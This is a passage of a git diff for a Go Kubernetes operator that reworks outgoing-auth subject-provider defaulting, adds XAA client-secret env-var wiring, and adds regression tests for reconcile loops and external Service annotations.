== nil || vmcp.Spec.OutgoingAuth.Backends == nil { - outgoing.Backends[workloadInfo.Name] = injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) - } else if _, exists := vmcp.Spec.OutgoingAuth.Backends[workloadInfo.Name]; !exists { - // Only add discovered config if not explicitly overridden - outgoing.Backends[workloadInfo.Name] = injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) + // Only add if not already overridden in inline config. + shouldAssign := true + if vmcp.Spec.OutgoingAuth != nil && vmcp.Spec.OutgoingAuth.Backends != nil { + _, exists := vmcp.Spec.OutgoingAuth.Backends[workloadInfo.Name] + shouldAssign = !exists + } + if shouldAssign { + injected, err := injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) + if err != nil { + authErrors = append(authErrors, AuthConfigError{ + Context: fmt.Sprintf("%s%s", authContextDiscoveredPrefix, workloadInfo.Name), + BackendName: workloadInfo.Name, + Error: fmt.Errorf("failed to inject subject provider name: %w", err), + Reason: subjectProviderErrorReason(err), + }) + } else { + outgoing.Backends[workloadInfo.Name] = injected + } } } @@ -2527,8 +2584,15 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthConfig( Error: fmt.Errorf("failed to convert default auth config: %w", err), Reason: mirroredReasonFromError(err), }) + } else if injected, injectErr := injectSubjectProviderIfNeeded(defaultStrategy, vmcp.Spec.AuthServerConfig); injectErr != nil { + allAuthErrors = append(allAuthErrors, AuthConfigError{ + Context: authContextDefault, + BackendName: "", + Error: fmt.Errorf("failed to inject subject provider name: %w", injectErr), + Reason: subjectProviderErrorReason(injectErr), + }) } else { - outgoing.Default = injectSubjectProviderIfNeeded(defaultStrategy, vmcp.Spec.AuthServerConfig) + outgoing.Default = injected } } @@ -2553,8 +2617,15 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthConfig( Error: fmt.Errorf("failed to convert backend auth config: %w", err), Reason: mirroredReasonFromError(err), }) + } else if injected, injectErr := injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig); injectErr != nil { + allAuthErrors = append(allAuthErrors, AuthConfigError{ + Context: fmt.Sprintf("%s%s", authContextBackendPrefix, backendName), + BackendName: backendName, + Error: fmt.Errorf("failed to inject subject provider name: %w", injectErr), + Reason: subjectProviderErrorReason(injectErr), + }) } else { - outgoing.Backends[backendName] = injectSubjectProviderIfNeeded(strategy, vmcp.Spec.AuthServerConfig) + outgoing.Backends[backendName] = injected } } } @@ -2563,73 +2634,70 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthConfig( } // injectSubjectProviderIfNeeded auto-populates the upstream provider name on -// token_exchange and aws_sts strategies when the field is empty and an embedded -// auth server is configured on the VirtualMCPServer. -// Both strategies use SubjectProviderName for the same concept: which upstream -// provider's token to pull from Identity.UpstreamTokens. Mirrors -// injectUpstreamProviderIfNeeded in pkg/runner/middleware.go, which does the -// same for Cedar's PrimaryUpstreamProvider. -// Returns strategy unchanged when it is nil, not an applicable strategy type, -// already has the provider name set, or no embedded auth server is configured. +// token_exchange, aws_sts, and xaa strategies when the field is empty and an +// embedded auth server is configured on the VirtualMCPServer. All three +// strategies use SubjectProviderName for the same concept: which upstream +// provider's token to pull from Identity.UpstreamTokens. +// +// The same first-upstream-name extraction appears in pkg/runner/middleware.go +// and pkg/vmcp/config/defaults.go, which share the authserver.UpstreamRunConfig +// type and are candidates for a shared authserver helper (tracked as follow-up +// work). This function operates on the CRD-specific EmbeddedAuthServerConfig +// type and is intentionally kept separate. +// +// Delegates the actual defaulting to authtypes.DefaultSubjectProviderName. +// Returns strategy unchanged when it is nil or no embedded auth server is +// configured. Can return authtypes.ErrAmbiguousSubjectProvider when strategy +// is xaa, SubjectProviderName is empty, and more than one upstream provider +// is configured. func injectSubjectProviderIfNeeded( strategy *authtypes.BackendAuthStrategy, embeddedCfg *mcpv1beta1.EmbeddedAuthServerConfig, -) *authtypes.BackendAuthStrategy { +) (*authtypes.BackendAuthStrategy, error) { if strategy == nil || embeddedCfg == nil { - return strategy - } - - switch strategy.Type { - case authtypes.StrategyTypeTokenExchange: - if strategy.TokenExchange == nil || strategy.TokenExchange.SubjectProviderName != "" { - return strategy - } - providerName := resolveFirstUpstreamProvider(embeddedCfg) - copied := *strategy - teCopied := *strategy.TokenExchange - teCopied.SubjectProviderName = providerName - copied.TokenExchange = &teCopied - return &copied - - case authtypes.StrategyTypeAwsSts: - if strategy.AwsSts == nil || strategy.AwsSts.SubjectProviderName != "" { - return strategy - } - providerName := resolveFirstUpstreamProvider(embeddedCfg) - copied := *strategy - stsCopied := *strategy.AwsSts - stsCopied.SubjectProviderName = providerName - copied.AwsSts = &stsCopied - return &copied - - default: - return strategy + return strategy, nil } + return authtypes.DefaultSubjectProviderName( + strategy, + resolveFirstUpstreamProvider(embeddedCfg), + len(embeddedCfg.UpstreamProviders) > 1, + ) } // resolveFirstUpstreamProvider returns the resolved name of the first upstream // provider configured on the embedded auth server, or the default name if none // are configured. func resolveFirstUpstreamProvider(embeddedCfg *mcpv1beta1.EmbeddedAuthServerConfig) string { - if len(embeddedCfg.UpstreamProviders) > 0 { - return authserver.ResolveUpstreamName(embeddedCfg.UpstreamProviders[0].Name) + names := make([]string, len(embeddedCfg.UpstreamProviders)) + for i, p := range embeddedCfg.UpstreamProviders { + names[i] = p.Name } - return authserver.DefaultUpstreamName + return authserver.ResolveFirstUpstreamName(names) } // convertBackendsToStaticBackends converts Backend objects to StaticBackendConfig for ConfigMap embedding. // Preserves metadata and uses transport types from workload Specs. // Logs warnings when backends are skipped due to missing URL or transport information. // caBundlePathMap maps backend names to their CA bundle mount paths (populated for MCPServerEntry backends). +// excludedBackends names backends whose outgoing auth strategy failed to build (see +// backendsWithFailedAuth); they are dropped from the served set entirely rather than +// left to fall through to the Default strategy at runtime. func convertBackendsToStaticBackends( ctx context.Context, backends []vmcptypes.Backend, transportMap map[string]string, caBundlePathMap map[string]string, + excludedBackends map[string]struct{}, ) []vmcpconfig.StaticBackendConfig { logger := log.FromContext(ctx) static := make([]vmcpconfig.StaticBackendConfig, 0, len(backends)) for _, backend := range backends { + if _, excluded := excludedBackends[backend.Name]; excluded { + logger.V(1).Info("Skipping backend with failed outgoing auth configuration", + "backend", backend.Name) + continue + } + if backend.BaseURL == "" { logger.V(1).Info("Skipping backend without URL in static mode", "backend", backend.Name) diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go b/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go index 400f01472f..3f2eb0fee1 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller_test.go @@ -864,6 +864,33 @@ func TestVirtualMCPServerServiceNeedsUpdate(t *testing.T) { }(), needsUpdate: false, }, + { + // Regression for #5730: a Service co-owned by GKE NEG/Gateway gets + // cloud.google.com/* annotations written by the cloud controller. These are + // not operator-owned and must not be treated as drift, or the operator + // hot-loops Update and races the concurrent writer. + name: "external cloud annotations ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Annotations = map[string]string{ + "cloud.google.com/neg": `{"ingress":true}`, + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + } + return s + }(), + vmcp: baseVmcp.DeepCopy(), + needsUpdate: false, + }, + { + name: "external label ignored", + service: func() *corev1.Service { + s := baseService.DeepCopy() + s.Labels["external.example.com/managed"] = "true" + return s + }(), + vmcp: baseVmcp.DeepCopy(), + needsUpdate: false, + }, } for _, tt := range tests { @@ -2507,6 +2534,117 @@ func TestVirtualMCPServerEnsureDeployment_NoUpdateNeeded(t *testing.T) { assert.Equal(t, ctrl.Result{}, result) } +// TestVirtualMCPServerEnsureDeployment_RemovesStaleImagePullSecretsHash is a +// regression test for #5817: a stale imagePullRefsHashAnnotation left over +// from a prior reconcile (when imagePullSecrets was non-empty) must be +// removed once the desired list is empty, and reconciling again from that +// cleaned-up state must be a no-op rather than looping forever. +func TestVirtualMCPServerEnsureDeployment_RemovesStaleImagePullSecretsHash(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + + vmcp := v1beta1test.NewVirtualMCPServer(testVmcpName, "default", + v1beta1test.WithVMCPGroupRef(testGroupName), + ) + + configMap := &corev1.ConfigMap{ + ObjectMeta: metav1.ObjectMeta{ + Name: vmcpConfigMapName(vmcp.Name), + Namespace: "default", + Annotations: map[string]string{ + checksum.ContentChecksumAnnotation: "test-checksum", + }, + }, + Data: map[string]string{ + "config.yaml": "test-config", + }, + } + + reconciler := &VirtualMCPServerReconciler{ + Client: fake.NewClientBuilder().WithScheme(scheme).Build(), + Scheme: scheme, + } + + expectedLabels, expectedAnnotations := reconciler.buildPodTemplateMetadata( + labelsForVirtualMCPServer(vmcp.Name), vmcp, "test-checksum", + ) + + // Deployment otherwise matches the desired state exactly, except it + // carries a stale imagePullRefsHashAnnotation from before imagePullSecrets + // was cleared on the VirtualMCPServer. + staleDeployment := &appsv1.Deployment{ + ObjectMeta: metav1.ObjectMeta{ + Name: testVmcpName, + Namespace: "default", + Labels: labelsForVirtualMCPServer(vmcp.Name), + Annotations: map[string]string{ + imagePullRefsHashAnnotation: "stale-hash", + }, + }, + Spec: appsv1.DeploymentSpec{ + Selector: &metav1.LabelSelector{ + MatchLabels: labelsForVirtualMCPServer(vmcp.Name), + }, + Template: corev1.PodTemplateSpec{ + ObjectMeta: metav1.ObjectMeta{ + Labels: expectedLabels, + Annotations: expectedAnnotations, + }, + Spec: corev1.PodSpec{ + Containers: []corev1.Container{ + { + Name: "vmcp", + Image: getVmcpImage(), + Ports: []corev1.ContainerPort{ + {ContainerPort: 4483}, + }, + Env: mustBuildEnvVarsForVmcp(reconciler, vmcp), + }, + }, + ServiceAccountName: vmcpServiceAccountName(vmcp.Name), + }, + }, + }, + } + + k8sClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(vmcp, configMap, staleDeployment). + Build() + reconciler.Client = k8sClient + + // First reconcile cleans up the stale annotation. + result, err := reconciler.ensureDeployment(context.Background(), vmcp, nil, []workloads.TypedWorkload{}) + require.NoError(t, err) + assert.Equal(t, ctrl.Result{}, result) + + deployment := &appsv1.Deployment{} + require.NoError(t, k8sClient.Get(context.Background(), types.NamespacedName{ + Name: vmcp.Name, + Namespace: vmcp.Namespace, + }, deployment)) + _, present := deployment.Annotations[imagePullRefsHashAnnotation] + assert.False(t, present, "stale imagePullRefsHashAnnotation must be removed once desired list is empty") + + resourceVersionAfterCleanup := deployment.ResourceVersion + + // Second reconcile from the now-clean steady state must be a no-op. + // Without both fixes, this would keep re-detecting drift and updating + // forever — the hot-reconcile loop from #5817. + result, err = reconciler.ensureDeployment(context.Background(), vmcp, nil, []workloads.TypedWorkload{}) + require.NoError(t, err) + assert.Equal(t, ctrl.Result{}, result) + + deployment = &appsv1.Deployment{} + require.NoError(t, k8sClient.Get(context.Background(), types.NamespacedName{ + Name: vmcp.Name, + Namespace: vmcp.Namespace, + }, deployment)) + assert.Equal(t, resourceVersionAfterCleanup, deployment.ResourceVersion, + "reconciling from steady state must not write again") +} + func TestVirtualMCPServerEnsureService_CreateService(t *testing.T) { t.Parallel() @@ -2597,6 +2735,61 @@ func TestVirtualMCPServerEnsureService_UpdateService(t *testing.T) { assert.Equal(t, corev1.ServiceTypeLoadBalancer, service.Spec.Type) } +// TestVirtualMCPServerEnsureService_PreservesExternalAnnotations is a regression test +// for #5730: when a genuine operator-owned change triggers a Service update, annotations +// written by an external controller (e.g. GKE NEG) must be preserved, not stripped. +func TestVirtualMCPServerEnsureService_PreservesExternalAnnotations(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + + vmcp := v1beta1test.NewVirtualMCPServer(testVmcpName, "default", + v1beta1test.WithVMCPGroupRef(testGroupName), + v1beta1test.MutateVMCP(func(v *mcpv1beta1.VirtualMCPServer) { + v.Spec.ServiceType = "LoadBalancer" + }), + ) + + // Existing service with wrong type (triggers update) plus a cloud-owned annotation. + oldService := &corev1.Service{ + ObjectMeta: metav1.ObjectMeta{ + Name: vmcpServiceName(vmcp.Name), + Namespace: "default", + Labels: labelsForVirtualMCPServer(vmcp.Name), + Annotations: map[string]string{ + "cloud.google.com/neg-status": `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + }, + }, + Spec: corev1.ServiceSpec{ + Type: corev1.ServiceTypeClusterIP, + Selector: labelsForVirtualMCPServer(vmcp.Name), + Ports: []corev1.ServicePort{{Port: 4483, TargetPort: intstr.FromInt(4483)}}, + }, + } + + k8sClient := fake.NewClientBuilder(). + WithScheme(scheme). + WithObjects(vmcp, oldService). + Build() + + reconciler := &VirtualMCPServerReconciler{Client: k8sClient, Scheme: scheme} + + _, err := reconciler.ensureService(context.Background(), vmcp) + assert.NoError(t, err) + + service := &corev1.Service{} + err = k8sClient.Get(context.Background(), types.NamespacedName{ + Name: vmcpServiceName(vmcp.Name), + Namespace: vmcp.Namespace, + }, service) + assert.NoError(t, err) + // Operator-owned field applied... + assert.Equal(t, corev1.ServiceTypeLoadBalancer, service.Spec.Type) + // ...and the external annotation preserved. + assert.Equal(t, `{"network_endpoint_groups":{"8080":"k8s1-abc"}}`, + service.Annotations["cloud.google.com/neg-status"]) +} + func TestVirtualMCPServerEnsureService_NoUpdateNeeded(t *testing.T) { t.Parallel() diff --git a/cmd/thv-operator/controllers/virtualmcpserver_deployment.go b/cmd/thv-operator/controllers/virtualmcpserver_deployment.go index f8241baa1e..38d7acceb8 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_deployment.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_deployment.go @@ -35,10 +35,6 @@ import ( ) const ( - // podTemplateSpecHashAnnotation tracks the SHA256 hash of the user-provided PodTemplateSpec. - // Used to detect changes without comparing full rendered templates (which include K8s-defaulted fields). - podTemplateSpecHashAnnotation = "toolhive.stacklok.io/podtemplatespec-hash" - // imagePullRefsHashAnnotation tracks the SHA256 hash of the desired // imagePullSecrets list — chart-level defaults merged with // vmcp.Spec.ImagePullSecrets — used by buildDeploymentMetadataForVmcp. @@ -534,9 +530,6 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthEnvVars( } } - // Ensure deterministic ordering so reconcile comparisons don't flap when source maps/slices vary. - sortEnvVarsByName(env) - return env } @@ -716,16 +709,8 @@ func (r *VirtualMCPServerReconciler) discoverExternalAuthConfigSecrets( return envVars } - workloadsForDiscovery := append([]workloads.TypedWorkload(nil), typedWorkloads...) - sort.SliceStable(workloadsForDiscovery, func(i, j int) bool { - if workloadsForDiscovery[i].Type != workloadsForDiscovery[j].Type { - return workloadsForDiscovery[i].Type < workloadsForDiscovery[j].Type - } - return workloadsForDiscovery[i].Name < workloadsForDiscovery[j].Name - }) - // Discover ExternalAuthConfigs from workloads (MCPServers, MCPRemoteProxies, and MCPServerEntries) - for _, workloadInfo := range workloadsForDiscovery { + for _, workloadInfo := range typedWorkloads { configName := r.getExternalAuthConfigNameFromWorkload( workloadInfo, mcpServerMap, mcpRemoteProxyMap, mcpServerEntryMap) if configName == "" { @@ -771,14 +756,7 @@ func (r *VirtualMCPServerReconciler) discoverInlineExternalAuthConfigSecrets( seenConfigs := make(map[string]bool) // Track which ExternalAuthConfigs we've already processed // Process per-backend configs - backendNames := make([]string, 0, len(vmcp.Spec.OutgoingAuth.Backends)) - for backendName := range vmcp.Spec.OutgoingAuth.Backends { - backendNames = append(backendNames, backendName) - } - sort.Strings(backendNames) - - for _, backendName := range backendNames { - backendAuth := vmcp.Spec.OutgoingAuth.Backends[backendName] + for _, backendAuth := range vmcp.Spec.OutgoingAuth.Backends { if backendAuth.ExternalAuthConfigRef == nil { continue } @@ -891,6 +869,9 @@ func (r *VirtualMCPServerReconciler) getExternalAuthConfigSecretEnvVars( // masked as a no-op. return ctrlutil.OBOSecretEnvVars(externalAuthConfig) + case mcpv1beta1.ExternalAuthTypeXAA: + return xaaSecretEnvVars(externalAuthConfig, externalAuthConfigName), nil + default: return nil, nil // Not applicable } @@ -908,10 +889,36 @@ func (r *VirtualMCPServerReconciler) getExternalAuthConfigSecretEnvVars( }}, nil } -func sortEnvVarsByName(envVars []corev1.EnvVar) { - sort.SliceStable(envVars, func(i, j int) bool { - return envVars[i].Name < envVars[j].Name - }) +// xaaSecretEnvVars returns the env vars needed to mount XAA client secrets into +// the vMCP pod. Returns nil when the XAA spec is absent or has no secret refs. +func xaaSecretEnvVars(externalAuthConfig *mcpv1beta1.MCPExternalAuthConfig, configName string) []corev1.EnvVar { + if externalAuthConfig.Spec.XAA == nil { + return nil + } + var envVars []corev1.EnvVar + if ref := externalAuthConfig.Spec.XAA.IDPClientSecretRef; ref != nil { + envVars = append(envVars, corev1.EnvVar{ + Name: ctrlutil.GenerateUniqueXAAIDPSecretEnvVarName(configName), + ValueFrom: &corev1.EnvVarSource{ + SecretKeyRef: &corev1.SecretKeySelector{ + LocalObjectReference: corev1.LocalObjectReference{Name: ref.Name}, + Key: ref.Key, + }, + }, + }) + } + if ref := externalAuthConfig.Spec.XAA.TargetClientSecretRef; ref != nil { + envVars = append(envVars, corev1.EnvVar{ + Name: ctrlutil.GenerateUniqueXAATargetSecretEnvVarName(configName), + ValueFrom: &corev1.EnvVarSource{ + SecretKeyRef: &corev1.SecretKeySelector{ + LocalObjectReference: corev1.LocalObjectReference{Name: ref.Name}, + Key: ref.Key, + }, + }, + }) + } + return envVars } // buildDeploymentMetadataForVmcp builds deployment-level labels and annotations diff --git a/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go b/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go index 13c98c525e..29c9c6fbaf 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go @@ -21,7 +21,6 @@ import ( "github.com/stacklok/toolhive/cmd/thv-operator/internal/testutil" ctrlutil "github.com/stacklok/toolhive/cmd/thv-operator/pkg/controllerutil" "github.com/stacklok/toolhive/pkg/auth/obo" - "github.com/stacklok/toolhive/pkg/authserver" authtypes "github.com/stacklok/toolhive/pkg/vmcp/auth/types" vmcpconfig "github.com/stacklok/toolhive/pkg/vmcp/config" "github.com/stacklok/toolhive/pkg/vmcp/workloads" @@ -163,6 +162,96 @@ func TestConvertExternalAuthConfigToStrategy(t *testing.T) { assert.Empty(t, strategy.HeaderInjection.HeaderValue, "HeaderValue should not be set (secrets via env vars)") }, }, + { + name: "xaa with both secret refs sets env var names", + externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "xaa-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + validate: func(t *testing.T, strategy *authtypes.BackendAuthStrategy) { + t.Helper() + assert.Equal(t, authtypes.StrategyTypeXAA, strategy.Type) + require.NotNil(t, strategy.XAA) + assert.Equal(t, "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_AUTH", strategy.XAA.IDPClientSecretEnv) + assert.Equal(t, "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_XAA_AUTH", strategy.XAA.TargetClientSecretEnv) + assert.Empty(t, strategy.XAA.IDPClientSecret, "IDPClientSecret should not be set (secrets via env vars)") + assert.Empty(t, strategy.XAA.TargetClientSecret, "TargetClientSecret should not be set (secrets via env vars)") + }, + }, + { + name: "xaa with only idp secret ref", + externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "xaa-idp-only", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + validate: func(t *testing.T, strategy *authtypes.BackendAuthStrategy) { + t.Helper() + require.NotNil(t, strategy.XAA) + assert.Equal(t, "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_IDP_ONLY", strategy.XAA.IDPClientSecretEnv) + assert.Empty(t, strategy.XAA.TargetClientSecretEnv) + }, + }, + { + name: "xaa with no secret refs leaves env vars empty", + externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "xaa-no-secrets", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + validate: func(t *testing.T, strategy *authtypes.BackendAuthStrategy) { + t.Helper() + require.NotNil(t, strategy.XAA) + assert.Empty(t, strategy.XAA.IDPClientSecretEnv) + assert.Empty(t, strategy.XAA.TargetClientSecretEnv) + }, + }, { name: "unsupported auth type", externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ @@ -1034,23 +1123,26 @@ func TestGenerateUniqueHeaderInjectionEnvVarName(t *testing.T) { } } -// awsStsStrategy returns a minimal aws_sts BackendAuthStrategy for tests. -func awsStsStrategy(subjectProviderName string) *authtypes.BackendAuthStrategy { +// tokenExchangeStrategy returns a minimal token_exchange BackendAuthStrategy +// with an empty SubjectProviderName, for tests of the defaulting wiring. +func tokenExchangeStrategy() *authtypes.BackendAuthStrategy { return &authtypes.BackendAuthStrategy{ - Type: authtypes.StrategyTypeAwsSts, - AwsSts: &authtypes.AwsStsConfig{ - Region: "us-east-1", - FallbackRoleArn: "arn:aws:iam::123456789012:role/test", - SubjectProviderName: subjectProviderName, + Type: authtypes.StrategyTypeTokenExchange, + TokenExchange: &authtypes.TokenExchangeConfig{ + TokenURL: "https://oauth.example.com/token", }, } } -func tokenExchangeStrategy(subjectProviderName string) *authtypes.BackendAuthStrategy { +// xaaStrategy returns a minimal xaa BackendAuthStrategy for tests. +func xaaStrategy(subjectProviderName string) *authtypes.BackendAuthStrategy { return &authtypes.BackendAuthStrategy{ - Type: authtypes.StrategyTypeTokenExchange, - TokenExchange: &authtypes.TokenExchangeConfig{ - TokenURL: "https://oauth.example.com/token", + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", SubjectProviderName: subjectProviderName, }, } @@ -1068,8 +1160,13 @@ func embeddedAuthServerCfg(upstreamNames ...string) *mcpv1beta1.EmbeddedAuthServ return cfg } -// TestInjectSubjectProviderIfNeeded tests the injectSubjectProviderIfNeeded helper. -// Modelled on TestInjectUpstreamProviderIfNeeded in pkg/runner/middleware_test.go. +// TestInjectSubjectProviderIfNeeded tests the injectSubjectProviderIfNeeded wrapper. +// The per-strategy-type defaulting logic (nil-checks, already-set checks, copy +// semantics, xaa-ambiguity) is exhaustively covered by +// pkg/vmcp/auth/types.TestDefaultSubjectProviderName; this table covers only what +// the wrapper itself is responsible for: its own nil-strategy/nil-embeddedCfg +// guards, and correctly resolving providerName/hasMultipleUpstreams from +// embeddedCfg via resolveFirstUpstreamProvider before delegating. func TestInjectSubjectProviderIfNeeded(t *testing.T) { t.Parallel() @@ -1079,6 +1176,7 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { embeddedCfg *mcpv1beta1.EmbeddedAuthServerConfig wantSubjectProviderName string wantSamePointer bool + wantErr error }{ { name: "nil_strategy_returned_unchanged", @@ -1088,72 +1186,27 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { }, { name: "nil_embedded_config_returned_unchanged", - strategy: tokenExchangeStrategy(""), + strategy: tokenExchangeStrategy(), embeddedCfg: nil, wantSamePointer: true, }, - { - name: "non_token_exchange_strategy_returned_unchanged", - strategy: &authtypes.BackendAuthStrategy{ - Type: authtypes.StrategyTypeHeaderInjection, - HeaderInjection: &authtypes.HeaderInjectionConfig{ - HeaderName: "Authorization", - HeaderValue: "Bearer token", - }, - }, - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - }, - { - name: "already_set_subject_provider_not_overridden", - strategy: tokenExchangeStrategy("explicit-provider"), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - wantSubjectProviderName: "explicit-provider", - }, { name: "named_upstream_populates_subject_provider", - strategy: tokenExchangeStrategy(""), + strategy: tokenExchangeStrategy(), embeddedCfg: embeddedAuthServerCfg("github"), wantSubjectProviderName: "github", }, - { - name: "unnamed_upstream_falls_back_to_default", - strategy: tokenExchangeStrategy(""), - embeddedCfg: embeddedAuthServerCfg(""), - wantSubjectProviderName: authserver.DefaultUpstreamName, - }, - { - name: "empty_upstream_providers_falls_back_to_default", - strategy: tokenExchangeStrategy(""), - embeddedCfg: embeddedAuthServerCfg(), // no upstreams - wantSubjectProviderName: authserver.DefaultUpstreamName, - }, { name: "first_upstream_used_when_multiple_configured", - strategy: tokenExchangeStrategy(""), + strategy: tokenExchangeStrategy(), embeddedCfg: embeddedAuthServerCfg("first", "second"), wantSubjectProviderName: "first", }, - // aws_sts strategy cases { - name: "aws_sts_populates_subject_provider_name", - strategy: awsStsStrategy(""), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSubjectProviderName: "github", - }, - { - name: "aws_sts_already_set_provider_not_overridden", - strategy: awsStsStrategy("explicit-provider"), - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, - wantSubjectProviderName: "explicit-provider", - }, - { - name: "aws_sts_nil_AwsSts_config_returned_unchanged", - strategy: &authtypes.BackendAuthStrategy{Type: authtypes.StrategyTypeAwsSts, AwsSts: nil}, - embeddedCfg: embeddedAuthServerCfg("github"), - wantSamePointer: true, + name: "xaa_ambiguous_multiple_upstreams_returns_error", + strategy: xaaStrategy(""), + embeddedCfg: embeddedAuthServerCfg("first", "second"), + wantErr: authtypes.ErrAmbiguousSubjectProvider, }, } @@ -1161,40 +1214,27 @@ func TestInjectSubjectProviderIfNeeded(t *testing.T) { t.Run(tt.name, func(t *testing.T) { t.Parallel() - result := injectSubjectProviderIfNeeded(tt.strategy, tt.embeddedCfg) + result, err := injectSubjectProviderIfNeeded(tt.strategy, tt.embeddedCfg) + + if tt.wantErr != nil { + require.ErrorIs(t, err, tt.wantErr) + assert.Nil(t, result) + return + } + require.NoError(t, err) if tt.wantSamePointer { assert.Same(t, tt.strategy, result) - // When the pointer is unchanged and a provider was set, verify it wasn't mutated. - if tt.wantSubjectProviderName != "" && result != nil { - switch { - case result.TokenExchange != nil: - assert.Equal(t, tt.wantSubjectProviderName, result.TokenExchange.SubjectProviderName) - case result.AwsSts != nil: - assert.Equal(t, tt.wantSubjectProviderName, result.AwsSts.SubjectProviderName) - } - } return } require.NotNil(t, result) - switch result.Type { - case authtypes.StrategyTypeTokenExchange: - require.NotNil(t, result.TokenExchange) - assert.Equal(t, tt.wantSubjectProviderName, result.TokenExchange.SubjectProviderName) - // Verify the original strategy was not mutated. - if tt.strategy != nil && tt.strategy.TokenExchange != nil { - assert.Empty(t, tt.strategy.TokenExchange.SubjectProviderName, - "original strategy must not be mutated") - } - case authtypes.StrategyTypeAwsSts: - require.NotNil(t, result.AwsSts) - assert.Equal(t, tt.wantSubjectProviderName, result.AwsSts.SubjectProviderName) - // Verify the original strategy was not mutated. - if tt.strategy != nil && tt.strategy.AwsSts != nil { - assert.Empty(t, tt.strategy.AwsSts.SubjectProviderName, - "original strategy must not be mutated") - } + require.NotNil(t, result.TokenExchange) + assert.Equal(t, tt.wantSubjectProviderName, result.TokenExchange.SubjectProviderName) + // Verify the original strategy was not mutated. + if tt.strategy != nil && tt.strategy.TokenExchange != nil { + assert.Empty(t, tt.strategy.TokenExchange.SubjectProviderName, + "original strategy must not be mutated") } }) } @@ -1668,6 +1708,259 @@ func TestBuildOutgoingAuthConfig_InlineBackendSubjectProviderInjection(t *testin "inline backend SubjectProviderName should be injected from first upstream") } +// TestBuildOutgoingAuthConfig_XAAAmbiguousSubjectProviderError verifies the +// #5697 hard-error path: an xaa strategy with an empty SubjectProviderName +// and 2+ configured upstreams must surface a non-fatal AuthConfigError with +// Reason "AmbiguousSubjectProvider" and must NOT be assigned into the +// resulting config, for all three call-site shapes in buildOutgoingAuthConfig +// (Default, inline Backends override, discovered backend). A fourth, +// unaffected token_exchange backend in the same call must still succeed, +// proving this is a per-backend condition rather than a whole-function failure. +func TestBuildOutgoingAuthConfig_XAAAmbiguousSubjectProviderError(t *testing.T) { + t.Parallel() + + scheme := testutil.NewScheme(t) + + xaaSpec := func() *mcpv1beta1.XAASpec { + return &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + // SubjectProviderName intentionally left empty + } + } + + defaultAuthConfig := 